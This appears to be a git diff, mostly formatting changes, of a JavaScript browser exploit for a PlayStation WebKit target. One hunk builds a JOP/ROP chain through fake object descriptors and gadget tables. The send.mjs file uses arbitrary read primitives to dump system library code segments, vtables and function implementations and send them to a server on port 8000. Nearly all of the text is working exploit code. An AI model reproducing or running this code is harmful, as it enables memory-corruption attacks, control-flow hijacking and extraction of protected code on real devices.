JSC::CustomGetterSetter.m_setter + gc_buf.write64(0x10, get_gadget(gadgets, jop1)); - const proto = Chain.prototype; - // _rop must have a descriptor initially in order for the structure to pass - // setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a - // call to JSObject::putInlineSlow(). putInlineSlow() is the code path that - // checks for any descriptor to run - // - // the butterfly's indexing type must be something the GC won't inspect - // like DoubleShape. it will be used to store the JOP table's pointer - const _rop = {get launch() {throw Error('never call')}, 0: 1.1}; - // replace .launch with the actual custom getter/setter - mem.addrof(_rop).write64(off.js_inline_prop, gc_buf); - proto._rop = _rop; + const proto = Chain.prototype; + // _rop must have a descriptor initially in order for the structure to pass + // setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a + // call to JSObject::putInlineSlow(). putInlineSlow() is the code path that + // checks for any descriptor to run + // + // the butterfly's indexing type must be something the GC won't inspect + // like DoubleShape. it will be used to store the JOP table's pointer + const _rop = { + get launch() { + throw Error("never call"); + }, + 0: 1.1, + }; + // replace .launch with the actual custom getter/setter + mem.addrof(_rop).write64(off.js_inline_prop, gc_buf); + proto._rop = _rop; - // JOP table - const rax_ptrs = new BufferView(0x100); - const rax_ptrs_p = get_view_vector(rax_ptrs); - proto._rax_ptrs = rax_ptrs; + // JOP table + const rax_ptrs = new BufferView(0x100); + const rax_ptrs_p = get_view_vector(rax_ptrs); + proto._rax_ptrs = rax_ptrs; - rax_ptrs.write64(0x70, get_gadget(gadgets, jop2)); - rax_ptrs.write64(0x30, get_gadget(gadgets, jop3)); - rax_ptrs.write64(0x40, get_gadget(gadgets, jop4)); - rax_ptrs.write64(0, get_gadget(gadgets, jop5)); + rax_ptrs.write64(0x70, get_gadget(gadgets, jop2)); + rax_ptrs.write64(0x30, get_gadget(gadgets, jop3)); + rax_ptrs.write64(0x40, get_gadget(gadgets, jop4)); + rax_ptrs.write64(0, get_gadget(gadgets, jop5)); - const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly); - jop_buffer_p.write64(0, rax_ptrs_p); + const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly); + jop_buffer_p.write64(0, rax_ptrs_p); - const empty = {}; - proto._empty_cell = mem.addrof(empty).read64(off.js_cell); + const empty = {}; + proto._empty_cell = mem.addrof(empty).read64(off.js_cell); - Chain.init_class(gadgets, syscall_array); + Chain.init_class(gadgets, syscall_array); } diff --git a/src/send.mjs b/src/send.mjs index 508700e..07701fb 100644 --- a/src/send.mjs +++ b/src/send.mjs @@ -55,109 +55,96 @@ along with this program. If not, see . */ // For a LibcInternal import we searched for strlen() but you can search for // any libc function such as memcpy(). -import * as config from './config.mjs'; +import * as config from "./config.mjs"; -import { Int } from './module/int64.mjs'; -import { Addr, mem } from './module/mem.mjs'; -import { make_buffer, find_base, resolve_import } from './module/memtools.mjs'; -import { KB, MB } from './module/offset.mjs'; +import { Int } from "./module/int64.mjs"; +import { Addr, mem } from "./module/mem.mjs"; +import { make_buffer, find_base, resolve_import } from "./module/memtools.mjs"; +import { KB, MB } from "./module/offset.mjs"; -import { - log, - align, - die, - send, -} from './module/utils.mjs'; +import { log, align, die, send } from "./module/utils.mjs"; -import * as rw from './module/rw.mjs'; -import * as o from './module/offset.mjs'; +import * as rw from "./module/rw.mjs"; +import * as o from "./module/offset.mjs"; const origin = window.origin; -const port = '8000'; +const port = "8000"; const url = `${origin}:${port}`; -const textarea = document.createElement('textarea'); +const textarea = document.createElement("textarea"); // JSObject const js_textarea = mem.addrof(textarea); // boundaries of the .text + PT_SCE_RELRO portion of a module function get_boundaries(leak) { - const lib_base = find_base(leak, true, true); - const lib_end = find_base(leak, false, false); + const lib_base = find_base(leak, true, true); + const lib_end = find_base(leak, false, false); - return [lib_base, lib_end] + return [lib_base, lib_end]; } // dump a module's .text and PT_SCE_RELRO segments only function dump(name, lib_base, lib_end) { - // assumed size < 4GB - const lib_size = lib_end.sub(lib_base).lo; - log(`${name} base: ${lib_base}`); - log(`${name} size: ${lib_size}`); - const lib = make_buffer( - lib_base, - lib_size - ); - send( - url, - lib, - `${name}.sprx.text_${lib_base}.bin`, - () => log(`${name} sent`) - ); + // assumed size < 4GB + const lib_size = lib_end.sub(lib_base).lo; + log(`${name} base: ${lib_base}`); + log(`${name} size: ${lib_size}`); + const lib = make_buffer(lib_base, lib_size); + send(url, lib, `${name}.sprx.text_${lib_base}.bin`, () => log(`${name} sent`)); } // dump for libSceNKWebKit.sprx function dump_libwebkit() { - let addr = js_textarea; - // WebCore::HTMLTextAreaElement - addr = addr.readp(0x18); + let addr = js_textarea; + // WebCore::HTMLTextAreaElement + addr = addr.readp(0x18); - // vtable for WebCore::HTMLTextAreaElement - // in PT_SCE_RELRO segment (p_type = 0x6100_0010) - addr = addr.readp(0); + // vtable for WebCore::HTMLTextAreaElement + // in PT_SCE_RELRO segment (p_type = 0x6100_0010) + addr = addr.readp(0); - log(`vtable: ${addr}`); - const vtable = make_buffer(addr, 0x400); - send(url, vtable, `vtable_${addr}.bin`, () => log('vtable sent')); + log(`vtable: ${addr}`); + const vtable = make_buffer(addr, 0x400); + send(url, vtable, `vtable_${addr}.bin`, () => log("vtable sent")); - const [lib_base, lib_end] = get_boundaries(addr); - dump('libSceNKWebKit', lib_base, lib_end); + const [lib_base, lib_end] = get_boundaries(addr); + dump("libSceNKWebKit", lib_base, lib_end); - return lib_base; + return lib_base; } // dump for libkernel_web.sprx function dump_libkernel(libwebkit_base) { - const offset = 0x8d8; - const vtable_p = js_textarea.readp(0x18).readp(0); - // __stack_chk_fail - const stack_chk_fail_import = libwebkit_base.add(offset); + const offset = 0x8d8; + const vtable_p = js_textarea.readp(0x18).readp(0); + // __stack_chk_fail + const stack_chk_fail_import = libwebkit_base.add(offset); - const libkernel_leak = resolve_import(stack_chk_fail_import); - log(`__stack_chk_fail import: ${libkernel_leak}`); + const libkernel_leak = resolve_import(stack_chk_fail_import); + log(`__stack_chk_fail import: ${libkernel_leak}`); - const [lib_base, lib_end] = get_boundaries(libkernel_leak); - dump('libkernel_web', lib_base, lib_end); + const [lib_base, lib_end] = get_boundaries(libkernel_leak); + dump("libkernel_web", lib_base, lib_end); } // dump for libSceLibcInternal.sprx function dump_libc(libwebkit_base) { - const offset = 0x918; - const vtable_p = js_textarea.readp(0x18).readp(0); - // strlen - const strlen_import = libwebkit_base.add(offset); + const offset = 0x918; + const vtable_p = js_textarea.readp(0x18).readp(0); + // strlen + const strlen_import = libwebkit_base.add(offset); - const libc_leak = resolve_import(strlen_import); - log(`strlen import: ${libc_leak}`); + const libc_leak = resolve_import(strlen_import); + log(`strlen import: ${libc_leak}`); - const [lib_base, lib_end] = get_boundaries(libc_leak); - dump('libSceLibcInternal', lib_base, lib_end); + const [lib_base, lib_end] = get_boundaries(libc_leak); + dump("libSceLibcInternal", lib_base, lib_end); } function dump_webkit() { - const libwebkit_base = dump_libwebkit(); - dump_libkernel(libwebkit_base); - dump_libc(libwebkit_base); + const libwebkit_base = dump_libwebkit(); + dump_libkernel(libwebkit_base); + dump_libc(libwebkit_base); } // See globalFuncEval() from @@ -183,23 +170,18 @@ function dump_webkit() { // For example, the expression "eval(1)" has the JSValue encoding of 1 passed // to *(rdi + 0x30). function dump_eval() { - let addr = js_textarea; - // WebCore::HTMLTextAreaElement - addr = addr.readp(0x18); + let addr = js_textarea; + // WebCore::HTMLTextAreaElement + addr = addr.readp(0x18); - // vtable for WebCore::HTMLTextAreaElement - // in PT_SCE_RELRO segment (p_type = 0x6100_0010) - addr = addr.readp(0); + // vtable for WebCore::HTMLTextAreaElement + // in PT_SCE_RELRO segment (p_type = 0x6100_0010) + addr = addr.readp(0); - const libwebkit_base = find_base(addr, true, true); - const impl = mem.addrof(eval).readp(0x18).readp(0x38); - const offset = impl.sub(libwebkit_base); - send( - url, - make_buffer(impl, 0x800), - `eval_dump_offset_${offset}.bin`, - () => log('sent') - ); + const libwebkit_base = find_base(addr, true, true); + const impl = mem.addrof(eval).readp(0x18).readp(0x38); + const offset = impl.sub(libwebkit_base); + send(url, make_buffer(impl, 0x800), `eval_dump_offset_${offset}.bin`, () => log("sent")); } // Initially we just used the vtable offset from pOOBs4 (0x1c8) and tested if @@ -207,25 +189,17 @@ function dump_eval() { // See howto_code_exec.txt about code execution via the vtable of a textarea // element. function dump_scrollLeft() { - let proto = Object.getPrototypeOf(textarea); - proto = Object.getPrototypeOf(proto); - proto = Object.getPrototypeOf(proto); + let proto = Object.getPrototypeOf(textarea); + proto = Object.getPrototypeOf(proto); + proto = Object.getPrototypeOf(proto); - const scrollLeft_get = - Object.getOwnPropertyDescriptors(proto).scrollLeft.get - ; + const scrollLeft_get = Object.getOwnPropertyDescriptors(proto).scrollLeft.get; + // get the JSCustomGetterSetterFunction + const js_func = mem.addrof(scrollLeft_get); + const getterSetter = js_func.readp(0x28); + const getter = getterSetter.readp(8); - // get the JSCustomGetterSetterFunction - const js_func = mem.addrof(scrollLeft_get); - const getterSetter = js_func.readp(0x28); - const getter = getterSetter.readp(8); - - const libwebkit_base = find_base(getter, true, true); - const offset = getter.sub(libwebkit_base); - send( - url, - make_buffer(getter, 0x800), - `scrollLeft_getter_dump_offset_${offset}.bin`, - () => log('sent') - ); + const libwebkit_base = find_base(getter, true, true); + const offset = getter.sub(libwebkit_base); + send(url, make_buffer(getter, 0x800), `scrollLeft_getter_dump_offset_${offset}.bin`, () => log("sent")); }